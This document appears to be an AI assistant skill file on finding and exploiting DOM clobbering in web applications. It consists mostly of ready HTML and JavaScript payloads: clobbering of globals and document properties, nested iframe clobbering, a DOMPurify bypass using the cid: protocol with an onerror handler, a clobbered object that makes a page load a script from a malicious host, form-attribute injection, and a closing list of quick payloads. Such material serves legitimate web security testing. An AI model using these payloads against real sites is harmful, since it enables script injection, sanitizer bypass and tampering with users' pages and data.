| name | dom-clobbering |
| description | How to identify and exploit DOM Clobbering vulnerabilities in web applications. Use this skill whenever the user mentions DOM clobbering, ID/name attribute injection, global variable override, document.cookie manipulation, or any XSS technique involving HTML element attributes that can override JavaScript variables. Make sure to use this skill for any web security testing involving DOM-based vulnerabilities, especially when filters might be bypassable through attribute manipulation. |
DOM Clobbering
DOM Clobbering is a technique where HTML elements with id and name attributes can override JavaScript global variables in the document context, potentially leading to security vulnerabilities.
Core Concept
When you add HTML elements with specific id or name attributes, they create global variables in the JavaScript context that can override existing variables or properties.
Basic Clobbering
<form id="x"></form>
<script>
console.log(typeof document.x)
</script>
Elements that can clobber globals with name attribute:
embed, form, iframe, image, img, object
Controlling string values with anchor tags:
<a href="controlled string" id="x"></a>
<script>
console.log(x)
</script>
Advanced Techniques
Array and Object Attribute Clobbering
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1])
console.log(x.y)
</script>
</a>
</a>
Deep Attribute Clobbering (3+ levels)
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value)
</script>
Iframe-Based Deep Clobbering
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y)
</script>
Note: The style tag gives the iframe time to render. Without it, you may get undefined.
Multi-Level Iframe Clobbering
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d name=e href=controlled><a id=d> name=d>' name=b>"
></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e)
</script>
Filter Bypassing
If a filter loops through node properties using document.getElementById('x').attributes, you can clobber the .attributes property itself:
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName)
console.log(document.getElementById("y").nodeName)
</script>
Clobberable DOM properties:
attributes, tagName, nodeName, parentNode, and more
Clobbering Window Objects
Common JavaScript pattern:
var someObject = window.someObject || {}
Exploit:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Vulnerable code example:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
DOMPurify Bypass with cid: Protocol
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
</a>
The cid: protocol doesn't URL-encode double-quotes, allowing runtime decoding to escape attributes.
Form Attribute Clobbering
<form name="cookie"><input id="toString"></form>
This overwrites the attributes property, preventing sanitizers from accessing actual attributes.
Document Object Clobbering
You can overwrite document.cookie, document.body, document.children, and even document.querySelector:
document.write("<img name=cookie />")
document.cookie
typeof(document.cookie)
document.write("<form name=cookie><input id=toString></form>")
Writing After Clobbered Elements
Using HTML Tag
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText)
alert(document.querySelector(".x").innerText)
</script>
</p>
Using CSS to Hide Interference
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p { display: none; }
</style>
<script>
alert(document.getElementById("cdnDomain").innerText)
</script>
Using SVG Body Tag
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText)
</script>
Using SVG ForeignObject
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText)
</script>
Form Clobbering
Add new entries to forms using the form attribute:
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
Button attributes for form manipulation:
form, formaction, formmethod, formtarget, formnovalidate, formenctype
Testing Checklist
- Identify clobberable variables - Look for JavaScript that uses
window.variable or document.variable
- Check for filter bypasses - Test if
.attributes, .nodeName, etc. can be clobbered
- Test document properties - Try clobbering
document.cookie, document.body, etc.
- Test form submissions - Check if form attributes can be manipulated
- Test with sanitizers - Try bypassing DOMPurify and similar libraries
References
Quick Payloads
<a id="targetVar" href="malicious-value"></a>
<form name="cookie"><input id="toString"></form>
<form id="x"><input name="attributes"></form>
<a id="arr"><a id="arr" name="0" href="value"></a></a>
<form id="a" name="b"><input id="c" value="x"></form>
< =>